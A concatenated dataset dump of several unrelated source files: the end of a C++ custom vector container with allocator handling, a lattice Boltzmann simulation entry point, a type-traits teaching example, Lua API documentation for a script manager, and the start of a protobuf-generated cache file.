bc_allocator_traits< internal_allocator_type >::destroy(
m_allocator,
p_src + l_i);
}
}
}
// If T is copy constructible, try to move if noexcept else copy them
bcInline void _move_if_noexcept_elements(node_type* p_dest, node_type* p_src, size_type p_count, std::true_type)
{
for (bcUINT32 l_i = 0; l_i < p_count; ++l_i)
{
bc_allocator_traits<internal_allocator_type>::construct(
m_allocator,
p_dest + l_i,
std::move_if_noexcept(*(p_src + l_i)));
//// If elements has been copied call thier destructions
//if (!std::is_nothrow_move_constructible<node_type>::value)
{
bc_allocator_traits< internal_allocator_type >::destroy(
m_allocator,
p_src + l_i);
}
}
}
// If T is not copy constructible, move them
bcInline void _move_if_noexcept_elements(node_type* p_dest, node_type* p_src, size_type p_count, std::false_type)
{
for (bcUINT32 l_i = 0; l_i < p_count; ++l_i)
{
bc_allocator_traits<internal_allocator_type>::construct(
m_allocator,
p_dest + l_i,
std::move(*(p_src + l_i)));
//// If elements has been copied call thier destructions
//if (!std::is_nothrow_move_constructible<node_type>::value)
{
bc_allocator_traits< internal_allocator_type >::destroy(
m_allocator,
p_src + l_i);
}
}
}
bcInline void _change_capacity(size_type p_new_capacity)
{
node_type* l_heap = static_cast< node_type* >(bc_allocator_traits< internal_allocator_type >::allocate(
m_allocator,
p_new_capacity));
if (m_first)
{
try
{
_move_if_noexcept_elements
(
l_heap,
m_first,
std::min< size_type >(base_type::m_size, p_new_capacity),
typename std::is_copy_constructible< value_type >::type()
);
}
catch (...)
{
bc_allocator_traits< internal_allocator_type >::deallocate(m_allocator, l_heap);
throw;
}
bc_allocator_traits< internal_allocator_type >::deallocate(m_allocator, m_first);
}
m_first = l_heap;
bc_allocator_traits< internal_allocator_type >::register_pointer(m_allocator, &m_first);
m_capacity = p_new_capacity;
}
bcInline void _increase_capacity(size_type p_count_to_add)
{
size_type l_reserved_count = m_capacity - base_type::m_size;
if(p_count_to_add <= l_reserved_count)
{
return;
}
size_type l_new_capacity = std::pow(2, std::ceil(std::log2(std::max(m_capacity + p_count_to_add, 2U))));
_change_capacity(l_new_capacity);
};
bcInline void _decrease_capacity()
{
if (m_capacity > base_type::m_size)
{
if(base_type::m_size != 0)
{
_change_capacity(base_type::m_size);
}
// If vector is empty, deallocate it's buffer because '_change_capacity' function
// always allocate a buffer even if new capacity is zero
else
{
bc_allocator_traits< internal_allocator_type >::deallocate(m_allocator, m_first);
m_first = nullptr;
m_capacity = 0;
}
}
}
/*template< typename T >
node_type* _new_node(node_type* p_position, size_type p_count, T&& p_value)
{
bcAssert(p_position >= m_first && p_position <= _get_end());
// Backup m_first
node_type* l_first = m_first;
_increase_capacity(p_count);
// _increase_capacity method may change pointers, so if it occur we correct p_position
p_position = m_first + (p_position - l_first);
node_type* l_position = p_position;
size_type l_count = p_count;
if (l_position != _get_end())
_move_elements(l_position + p_count, l_position, (_get_end() - l_position));
for (; l_count > 0; --l_count, ++l_position)
{
bc_allocator_traits< internal_allocator_type >::template construct(m_allocator, l_position, std::forward<T>(p_value));
}
base_type::m_size += p_count;
return p_position;
};*/
template< typename ...TArgs >
node_type* _new_node(node_type* p_position, size_type p_count, TArgs&&... p_args)
{
bcAssert(p_position >= m_first && p_position <= _get_end());
// Backup m_first
node_type* l_first = m_first;
_increase_capacity(p_count);
// _increase_capacity method may change pointers, so if it occur we correct p_position
p_position = m_first + (p_position - l_first);
node_type* l_position = p_position;
size_type l_count = p_count;
if (l_position != _get_end())
_move_elements(l_position + p_count, l_position, (_get_end() - l_position));
for (; l_count > 0; --l_count, ++l_position)
{
bc_allocator_traits< internal_allocator_type >::template construct(m_allocator, l_position, std::forward<TArgs>(p_args)...);
}
base_type::m_size += p_count;
return p_position;
};
template< typename TInputIterator >
node_type* _new_node(node_type* p_position, TInputIterator p_first, TInputIterator p_last, std::input_iterator_tag&)
{
bcAssert(p_position >= m_first && p_position <= _get_end());
base_type::template _check_iterator< TInputIterator >();
size_type l_count = 0;
node_type* l_last_inserted = p_position;
std::for_each(p_first, p_last, [=, &l_last_inserted, &l_count](typename std::iterator_traits<TInputIterator>::value_type& p_value)
{
l_last_inserted = _new_node(l_last_inserted, 1, p_value);
++l_last_inserted;
++l_count;
});
base_type::m_size += l_count;
return l_last_inserted - l_count;
}
template< typename TInputIterator >
node_type* _new_node(node_type* p_position, TInputIterator p_first, TInputIterator p_last, std::forward_iterator_tag&)
{
bcAssert(p_position >= m_first && p_position <= _get_end());
base_type::template _check_iterator< TInputIterator >();
difference_type l_count = std::distance(p_first, p_last);
// Backup m_first
node_type* l_first = m_first;
_increase_capacity(l_count);
// _increase_capacity method may change pointers, so if it occur we correct p_position
p_position = m_first + (p_position - l_first);
node_type* l_position = p_position;
if (l_position != _get_end())
_move_elements(l_position + l_count, l_position, (_get_end() - l_position));
std::for_each(p_first, p_last, [=, &l_position](const typename std::iterator_traits<TInputIterator>::value_type& p_value)
{
bc_allocator_traits< internal_allocator_type >::template construct(m_allocator, l_position++, p_value);
});
base_type::m_size += l_count;
return p_position;
}
node_type* _free_node(node_type* p_position, size_type p_count)
{
bcAssert(p_position >= m_first && p_position + p_count <= _get_end());
size_type l_count = p_count;
while (l_count-- > 0)
bc_allocator_traits< internal_allocator_type >::destroy(m_allocator, p_position + l_count);
if (p_position + p_count != _get_end())
{
_move_elements(const_cast<node_type*>(p_position), p_position + p_count, (_get_end() - (p_position + p_count)));
}
base_type::m_size -= p_count;
return p_position;
};
size_type m_capacity;
node_pointer m_first;
internal_allocator_type m_allocator;
private:
};
template < typename T, class TAllocator = bc_allocator< T > >
class bc_vector : public bc_vector_base< T, TAllocator >
{
bc_make_iterators_friend(bc_vector);
public:
using this_type = bc_vector;
using base_type = bc_vector_base< T, TAllocator >;
using value_type = typename base_type::value_type;
using allocator_type = typename base_type::allocator_type;
using pointer = typename base_type::pointer;
using const_pointer = typename base_type::const_pointer;
using reference = typename base_type::reference;
using const_reference = typename base_type::const_reference;
using difference_type = typename base_type::difference_type;
using size_type = typename base_type::size_type;
using iterator = bc_random_access_iterator< this_type >;
using const_iterator = bc_const_random_access_iterator< this_type >;
using reverse_iterator = bc_reverse_iterator< iterator >;
using const_reverse_iterator = bc_reverse_iterator< const_iterator >;
protected:
using node_type = typename base_type::node_type;
using node_pointer = typename base_type::node_pointer;
using internal_allocator_type = typename base_type::internal_allocator_type;
public:
explicit bc_vector(const allocator_type& p_allocator = allocator_type());
explicit bc_vector(size_type p_count, const allocator_type& p_allocator = allocator_type());
bc_vector(size_type p_count, const value_type& p_value, const allocator_type& p_allocator = allocator_type());
template< typename TInputIterator >
bc_vector(TInputIterator p_first, TInputIterator p_last, const allocator_type p_allocator = allocator_type());
bc_vector(std::initializer_list< value_type > p_initializer, const allocator_type& p_allocator = allocator_type());
bc_vector(const this_type& p_other);
bc_vector(const this_type& p_other, const allocator_type& p_allocator);
bc_vector(this_type&& p_other) noexcept;
bc_vector(this_type&& p_other, const allocator_type& p_allocator);
~bc_vector();
this_type& operator =(const this_type& p_other);
this_type& operator =(this_type&& p_other) noexcept;
this_type& operator =(std::initializer_list< value_type > p_initializer);
void assign(size_type p_count, const value_type& p_value);
template< typename TInputIterator >
void assign(TInputIterator p_first, TInputIterator p_last);
void assign(std::initializer_list< value_type > p_initializer);
allocator_type get_allocator() const;
reference at(size_type p_position);
const_reference at(size_type p_position) const;
reference operator [](size_type p_position);
const_reference operator [](size_type p_position) const;
reference front();
const_reference front() const;
reference back();
const_reference back() const;
value_type* data();
const value_type* data() const;
iterator begin();
const_iterator begin() const;
const_iterator cbegin() const;
iterator end();
const_iterator end() const;
const_iterator cend() const;
reverse_iterator rbegin();
const_reverse_iterator rbegin() const;
const_reverse_iterator crbegin() const;
reverse_iterator rend();
const_reverse_iterator rend() const;
const_reverse_iterator crend() const;
void reserve(size_type p_new_capacity);
void shrink_to_fit();
void clear();
iterator insert(const_iterator p_position, const value_type& p_value);
iterator insert(const_iterator p_position, value_type&& p_value);
iterator insert(const_iterator p_position, size_type p_count, value_type&& p_value);
template< typename TInputIterator >
iterator insert(const_iterator p_position, TInputIterator p_first, TInputIterator p_last);
iterator insert(const_iterator p_position, std::initializer_list< value_type > p_initializer);
template< typename ...TArgs >
iterator emplace(const_iterator p_position, TArgs&&... p_args);
iterator erase(const_iterator p_position);
iterator erase(const_iterator p_first, const_iterator p_last);
void push_back(const value_type& p_value);
void push_back(value_type&& p_value);
template< typename ...TArgs >
void emplace_back(TArgs&&... p_args);
void pop_back();
void resize(size_type p_count);
void resize(size_type p_count, const value_type& p_value);
void swap(this_type& p_other) noexcept;
protected:
private:
void _assign(const this_type& p_other, const allocator_type* p_allocator);
void _assign(this_type&& p_other, const allocator_type* p_allocator);
node_type& _get_node(size_type p_position) const
{
bcAssert(p_position >= 0 && p_position <= base_type::m_size);
return *(base_type::m_first + p_position);
}
};
template< typename T, template< typename > class TAllocator >
using bc_vector_a = bc_vector< T, TAllocator< T > >;
template< typename T >
using bc_vector_program = bc_vector_a< T, bc_allocator_program >;
template< typename T >
using bc_vector_level = bc_vector_a< T, bc_allocator_level >;
template< typename T >
using bc_vector_frame = bc_vector_a< T, bc_allocator_frame >;
template< typename T >
using bc_vector_movale = bc_vector_a< T, bc_allocator_movable >;
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(const allocator_type& p_allocator)
: bc_vector_base(p_allocator)
{
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(size_type p_count, const allocator_type& p_allocator)
: bc_vector_base(p_allocator)
{
base_type::_new_node(base_type::m_first, p_count);
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(size_type p_count, const value_type& p_value, const allocator_type& p_allocator)
: bc_vector_base(p_allocator)
{
base_type::_new_node(base_type::m_first, p_count, p_value);
}
template< typename T, class TAllocator >
template< typename TInputIterator >
bc_vector<T, TAllocator>::bc_vector(TInputIterator p_first, TInputIterator p_last, const allocator_type p_allocator)
: bc_vector_base(p_allocator)
{
base_type::_new_node(base_type::m_first, p_first, p_last, typename std::iterator_traits< TInputIterator >::iterator_category());
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(std::initializer_list<value_type> p_initializer, const allocator_type& p_allocator)
: bc_vector_base(p_allocator)
{
base_type::_new_node(base_type::m_first,
std::begin(p_initializer),
std::end(p_initializer),
typename std::iterator_traits< typename std::initializer_list< value_type >::iterator >::iterator_category());
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(const this_type& p_other)
: bc_vector_base()
{
_assign(p_other, nullptr);
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(const this_type& p_other, const allocator_type& p_allocator)
: bc_vector_base()
{
_assing(p_other, &p_allocator);
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(this_type&& p_other) noexcept
: bc_vector_base()
{
_assign(std::move(p_other), nullptr);
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::bc_vector(this_type&& p_other, const allocator_type& p_allocator)
: bc_vector_base()
{
_assign(std::move(p_other), &p_allocator);
}
template< typename T, class TAllocator >
bc_vector<T, TAllocator>::~bc_vector()
{
clear();
bc_allocator_traits< internal_allocator_type >::deallocate(base_type::m_allocator, base_type::m_first);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::this_type& bc_vector<T, TAllocator>::operator =(const this_type& p_other)
{
_assign(p_other, nullptr);
return *this;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::this_type& bc_vector<T, TAllocator>::operator =(this_type&& p_other) noexcept
{
_assign(std::move(p_other), nullptr);
return *this;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::this_type& bc_vector<T, TAllocator>::operator =(std::initializer_list<value_type> p_initializer)
{
clear();
base_type::_new_node(base_type::m_first,
std::begin(p_initializer),
std::end(p_initializer),
typename std::iterator_traits< typename std::initializer_list< value_type >::iterator >::iterator_category());
return *this;
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::assign(size_type p_count, const value_type& p_value)
{
clear();
base_type::_new_node(base_type::m_first, p_count, p_value);
}
template< typename T, class TAllocator >
template< typename TInputIterator >
void bc_vector<T, TAllocator>::assign(TInputIterator p_first, TInputIterator p_last)
{
clear();
base_type::_new_node(base_type::m_first, p_first, p_last, typename std::iterator_traits< TInputIterator >::iterator_category());
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::assign(std::initializer_list<value_type> p_initializer)
{
clear();
base_type::_new_node(base_type::m_first,
std::begin(p_initializer),
std::end(p_initializer),
typename std::iterator_traits< typename std::initializer_list<value_type>::iterator >::iterator_category());
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::allocator_type bc_vector<T, TAllocator>::get_allocator() const
{
return typename bc_allocator_traits< internal_allocator_type >::template rebind_alloc< value_type >::other(base_type::m_allocator);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reference bc_vector<T, TAllocator>::at(size_type p_position)
{
if (p_position < 0 || p_position >= base_type::size())
throw std::out_of_range("Index out of range");
return _get_node(p_position).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reference bc_vector<T, TAllocator>::at(size_type p_position) const
{
if (p_position < 0 || p_position >= base_type::size())
throw std::out_of_range("Index out of range");
return _get_node(p_position).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reference bc_vector<T, TAllocator>::operator[](size_type p_position)
{
return _get_node(p_position).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reference bc_vector<T, TAllocator>::operator[](size_type p_position) const
{
return _get_node(p_position).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reference bc_vector<T, TAllocator>::front()
{
return _get_node(0).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reference bc_vector<T, TAllocator>::front() const
{
return _get_node(0).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reference bc_vector<T, TAllocator>::back()
{
return _get_node(base_type::size() - 1).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reference bc_vector<T, TAllocator>::back() const
{
return _get_node(base_type::size() - 1).m_value;
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::value_type* bc_vector<T, TAllocator>::data()
{
return static_cast< value_type* >(&_get_node(0).m_value);
}
template< typename T, class TAllocator >
const typename bc_vector<T, TAllocator>::value_type* bc_vector<T, TAllocator>::data() const
{
return static_cast< value_type* >(&_get_node(0).m_value);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::begin()
{
return iterator(this, base_type::m_first);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_iterator bc_vector<T, TAllocator>::begin() const
{
return const_iterator(this, base_type::m_first);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_iterator bc_vector<T, TAllocator>::cbegin() const
{
return const_iterator(this, base_type::m_first);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::end()
{
return iterator(this, base_type::_get_end());
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_iterator bc_vector<T, TAllocator>::end() const
{
return const_iterator(this, base_type::_get_end());
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_iterator bc_vector<T, TAllocator>::cend() const
{
return const_iterator(this, base_type::_get_end());
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reverse_iterator bc_vector<T, TAllocator>::rbegin()
{
auto l_end = base_type::_get_end();
if (l_end != nullptr)
{
return reverse_iterator(iterator(this, l_end - 1));
}
else
{
return reverse_iterator(iterator(this, l_end));
}
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reverse_iterator bc_vector<T, TAllocator>::rbegin() const
{
auto l_end = base_type::_get_end();
if (l_end != nullptr)
{
return const_reverse_iterator(const_iterator(this, l_end - 1));
}
else
{
return const_reverse_iterator(const_iterator(this, l_end));
}
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reverse_iterator bc_vector<T, TAllocator>::crbegin() const
{
auto l_end = base_type::_get_end();
if (l_end != nullptr)
{
return const_reverse_iterator(const_iterator(this, l_end - 1));
}
else
{
return const_reverse_iterator(const_iterator(this, l_end));
}
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::reverse_iterator bc_vector<T, TAllocator>::rend()
{
auto l_begin = base_type::m_first;
if (l_begin != nullptr)
{
return reverse_iterator(iterator(this, l_begin - 1));
}
else
{
return reverse_iterator(iterator(this, l_begin));
}
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reverse_iterator bc_vector<T, TAllocator>::rend() const
{
auto l_begin = base_type::m_first;
if (l_begin != nullptr)
{
return const_reverse_iterator(const_iterator(this, l_begin - 1));
}
else
{
return const_reverse_iterator(const_iterator(this, l_begin));
}
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::const_reverse_iterator bc_vector<T, TAllocator>::crend() const
{
auto l_begin = base_type::m_first;
if (l_begin != nullptr)
{
return const_reverse_iterator(const_iterator(this, l_begin - 1));
}
else
{
return const_reverse_iterator(const_iterator(this, l_begin));
}
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::reserve(size_type p_new_capacity)
{
if(p_new_capacity > base_type::capacity())
base_type::_increase_capacity(p_new_capacity - base_type::capacity());
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::shrink_to_fit()
{
base_type::_decrease_capacity();
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::clear()
{
if (base_type::m_size > 0)
base_type::_free_node(base_type::m_first, base_type::size());
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::insert(const_iterator p_position, const value_type& p_value)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()), 1, p_value);
return iterator(this, l_node);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::insert(const_iterator p_position, value_type&& p_value)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()), 1, std::move(p_value));
return iterator(this, l_node);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::insert(const_iterator p_position, size_type p_count, value_type&& p_value)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()), p_count, std::move(p_value));
return iterator(this, l_node);
}
template< typename T, class TAllocator >
template< typename TInputIterator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::insert(const_iterator p_position, TInputIterator p_first, TInputIterator p_last)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()),
p_first,
p_last,
typename std::iterator_traits< TInputIterator >::iterator_category());
return iterator(this, l_node);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::insert(const_iterator p_position, std::initializer_list<value_type> p_initializer)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()),
std::begin(p_initializer),
std::end(p_initializer),
typename std::iterator_traits< typename std::initializer_list<value_type>::iterator >::iterator_category());
return iterator(this, l_node);
}
template< typename T, class TAllocator >
template< typename ... TArgs >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::emplace(const_iterator p_position, TArgs&&... p_args)
{
node_type* l_node = base_type::_new_node(static_cast<node_type*>(p_position.get_node()), 1, std::forward<TArgs>(p_args)...);
return iterator(this, l_node);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::erase(const_iterator p_position)
{
node_type* l_node = base_type::_free_node(static_cast<node_type*>(p_position.get_node()), 1);
return iterator(this, l_node);
}
template< typename T, class TAllocator >
typename bc_vector<T, TAllocator>::iterator bc_vector<T, TAllocator>::erase(const_iterator p_first, const_iterator p_last)
{
difference_type l_count = std::distance(p_first, p_last);
node_type* l_node = base_type::_free_node(static_cast<node_type*>(p_first.get_node()), l_count);
return iterator(this, l_node);
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::push_back(const value_type& p_value)
{
base_type::_new_node(base_type::m_first + base_type::m_size, 1, p_value);
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::push_back(value_type&& p_value)
{
base_type::_new_node(base_type::m_first + base_type::m_size, 1, std::move(p_value));
}
template< typename T, class TAllocator >
template< typename ... TArgs >
void bc_vector<T, TAllocator>::emplace_back(TArgs&&... p_args)
{
base_type::_new_node(base_type::m_first + base_type::m_size, 1, std::forward<TArgs>(p_args)...);
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::pop_back()
{
base_type::_free_node(base_type::m_first + base_type::m_size - 1, 1);
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::resize(size_type p_count)
{
if (p_count < base_type::size())
{
base_type::_free_node(base_type::m_first + p_count, base_type::size() - p_count);
}
else if (p_count > base_type::size())
{
base_type::_new_node(base_type::m_first + base_type::size(), p_count - base_type::size());
}
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::resize(size_type p_count, const value_type& p_value)
{
if (p_count < base_type::size())
{
base_type::_free_node(base_type::m_first + p_count, base_type::size() - p_count);
}
else if (p_count > base_type::size())
{
base_type::_new_node(base_type::m_first + base_type::size(), p_count - base_type::size(), p_value);
}
}
template< typename T, class TAllocator >
void bc_vector<T, TAllocator>::swap(this_type& p_other) noexcept
{
using std::swap;
std::swap(base_type::m_size, p_other.m_size);
std::swap(base_type::m_capacity, p_other.m_capacity);
swap(base_type::m_allocator, p_other.m_allocator);
swap(base_type::m_first, p_other.m_first);
}
template< typename T, class TAllocator >
void bc_vector< T, TAllocator >::_assign(const this_type& p_other, const allocator_type* p_allocator)
{
// Clear content before allocator change
clear();
if (p_allocator)
{
base_type::m_allocator = *p_allocator;
}
else
{
base_type::m_allocator = p_other.m_allocator;
}
base_type::_new_node(base_type::m_first, std::begin(p_other), std::end(p_other), std::random_access_iterator_tag());
}
template< typename T, class TAllocator >
void bc_vector< T, TAllocator >::_assign(this_type&& p_other, const allocator_type* p_allocator)
{
// Clear content before allocator change
clear();
shrink_to_fit();
if (p_allocator)
{
base_type::m_allocator = *p_allocator;
}
else
{
base_type::m_allocator = std::move(p_other.m_allocator);
}
if(p_other.m_first)
{
bc_allocator_traits< internal_allocator_type >::unregister_pointer(p_other.m_allocator, &p_other.m_first);
}
base_type::m_size = p_other.m_size;
base_type::m_capacity = p_other.m_capacity;
base_type::m_first = std::move(p_other.m_first);
if(base_type::m_first)
{
bc_allocator_traits< internal_allocator_type >::register_pointer(base_type::m_allocator, &(base_type::m_first));
}
p_other.m_size = 0;
p_other.m_capacity = 0;
p_other.m_first = nullptr;
}
template< typename T, typename TAllocator >
void swap(bc_vector< T, TAllocator >& p_first, bc_vector< T, TAllocator >& p_second) noexcept
{
p_first.swap(p_second);
}
}
} |
b2cdf059b6bd2fc2a26168c919c10c8cf9bf4aed | e6371798f9d463deb9438275b116689c1f8c4452 | /src/main_lbm_reference.cpp | e2b1b0269bc67e41aa262034d06e7bdc3a6ae3ec | [
"MIT"
] | permissive | rksin8/firesim | e46c2294f1210999e4187a1178d8becd94137917 | 7cffddbcee5f92f325da19b533e17f9a6fd9eb33 | refs/heads/master | 2020-12-13T16:14:06.245082 | 2014-01-05T14:24:59 | 2014-01-05T14:24:59 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 788 | cpp | main_lbm_reference.cpp | //! \file main_lbm_reference.cpp
//! \date Mar 24, 2009
//! \author Florian Rathgeber
#ifndef RealType
#define RealType float
#endif
#include <iostream>
#include "lbm/LBM.h"
#include "lbm/LBM_def.h"
//! Main function
//! Runs a Lattice Boltzmann simulation according to the configuration file given.
//! \note The commandline for the executable is:
//! <b>exename configFileName</b>
//! \param[in] configFileName \b string Path to the configuration file
int main ( int argc, char** argv ) {
if ( argc < 2 || ( argc >= 2 &&
( strcmp( argv[1], "--help" ) == 0 || strcmp( argv[1], "-h" ) == 0 ) ) ) {
std::cerr << "usage: " << argv[0] << " <configFileName>" << std::endl;
exit( -1 );
}
lbm::LBM<RealType> myLBM( argv[1] );
myLBM.run();
return 0;
}
|
bb4e7f99d549562b685447c58d9d7339448eca92 | aab5fac70cd96d09307ecced10a2f81e2e7dc319 | /seminars/seminar20/type_traits/1_integral_const.cpp | 58d65a201a6fa815acb7e561e160e98519a726e4 | [] | no_license | morell5/HSE-Course | 7c74c2f23055a30f0f93490a79dfda442ac155a9 | 9c75a83a247dbe64918c823b584ac713580251f6 | refs/heads/master | 2023-07-14T22:01:03.746863 | 2021-08-22T10:06:25 | 2021-08-22T10:06:25 | 293,108,056 | 13 | 66 | null | 2021-06-15T16:12:43 | 2020-09-05T15:59:41 | C++ | UTF-8 | C++ | false | false | 301 | cpp | 1_integral_const.cpp | #include <type_traits>
#include <utility>
template <typename T, T v>
struct IntegralConst {
static constexpr T kValue = v;
};
template <bool B>
using BoolConstant = IntegralConst<bool, B>;
using TrueType = BoolConstant<true>;
using FalseType = BoolConstant<false>;
int main() {
return 0;
} |
6daf9afa09c37393f280dd570c8a241ee80886ec | 710ac923ad7aaaf3c59882a057a2ebbe159ef135 | /Docs/LuaAPI/Source/Script.inl | cb6c56393bd423ce44fbf962df5bfe29cc8165bc | [
"Zlib"
] | permissive | lennonchan/OgreKit | 3e8ec4b0f21653cb668d5cd7d58acc8d45de6a96 | ac5ca9b9731ce5f8eb145e7a8414e781f34057ab | refs/heads/master | 2021-01-01T06:04:40.107584 | 2013-04-19T05:02:42 | 2013-04-19T05:02:42 | 9,538,177 | 1 | 3 | null | null | null | null | UTF-8 | C++ | false | false | 1,570 | inl | Script.inl | /*!
<!-- ============================================ LuaScript ============================================ -->
\LuaClass{LuaScript}
\beginmenu{Methods}
\LuaMethodMenu{LuaScript,execute}
\LuaMethodMenu{LuaScript,getName}
\endmenu
\endpage
<!-- ======================================== -->
\LuaMethod{LuaScript,execute}
\LuaClassUp{LuaScript}
Compile and run script.
\code
function LuaScript:execute()
\endcode
\returns bool Execution result.
\endpage
<!-- ======================================== -->
\LuaMethod{LuaScript,getName}
\LuaClassUp{LuaScript}
Get script resource name.
\code
function LuaScript:getName()
\endcode
\returns string Resource name.
\endpage
<!-- ============================================ LuaManager ============================================ -->
\LuaClass{LuaManager}
\beginmenu{Methods}
\LuaMethodMenu{LuaManager,create}
\LuaMethodMenu{LuaManager,getScript}
\endmenu
\endpage
<!-- ======================================== -->
\LuaMethod{LuaManager,create}
\LuaClassUp{LuaManager}
Create new Lua script.
\code
function LuaManager:create(name, text)
\endcode
\param name Name of the scrit.
\param text Content of the script.
\returns \LuaClassRef{LuaScript} The freshly created script.
\endpage
<!-- ======================================== -->
\LuaMethod{LuaManager,getScript}
\LuaClassUp{LuaManager}
Get existing Lua script.
\code
function LuaManager:getScript(name)
\endcode
\param name Name of the scrit.
\returns \LuaClassRef{LuaScript} The existing script with this resource name.
\endpage
*/
|
b15ddecd741fcf76c447cb09994ab23089a0a700 | 3e9986044346eee9956f855e300ee50730d99610 | /Highlighted Projects/Lexical Analyzer/Cache.pb.cc | 12572ce08db71cacfb230b93d56ef672515ddfbb | [] | no_license | roosterhat/Personal | b2b16a641ffccaa314507f43a2b5b5b1d166d37a | 830fdf71fcac1aad8473c02c8cffb498b924efd9 | refs/heads/master | 2023-09-01T09:31:00.791862 | 2023-08-30T21:47:58 | 2023-08-30T21:47:58 | 81,906,978 | 0 | 1 | null | 2023-07-20T18:32:02 | 2017-02-14T05:03:12 | Racket | UTF-8 | C++ | false | true | 85,037 | cc | Cache.pb.cc | // Generated by the protocol buffer compiler. DO NOT EDIT!
// source: Cache.proto
#include "Cache.pb.h"
#include <algorithm>
#include <google/protobuf/io/coded_stream.h>
#include <google/protobuf/extension_set.h>
#include <google/protobuf/wire_format_lite.h>
#include <google/protobuf/descriptor.h>
#include <google/protobuf/generated_message_reflection.h>
#include <google/protobuf/reflection_ops.h>
#include <google/protobuf/wire_format.h>
// @@protoc_insertion_point(includes)
#include <google/protobuf/port_def.inc>
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<2> scc_info_DFA_Cache_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_Pair_Cache_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_Regex_Cache_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_Token_Cache_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<0> scc_info_V_1D_Cache_2eproto;
extern PROTOBUF_INTERNAL_EXPORT_Cache_2eproto ::PROTOBUF_NAMESPACE_ID::internal::SCCInfo<1> scc_info_V_2D_Cache_2eproto;
namespace cache {
class MatcherDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<Matcher> _instance;
} _Matcher_default_instance_;
class TokenDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<Token> _instance;
} _Token_default_instance_;
class RegexDefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<Regex> _instance;
} _Regex_default_instance_;
class DFADefaultTypeInternal {
public:
::PROTOBUF_NAMESPACE_ID::internal::ExplicitlyConstructed<DFA> _instance;
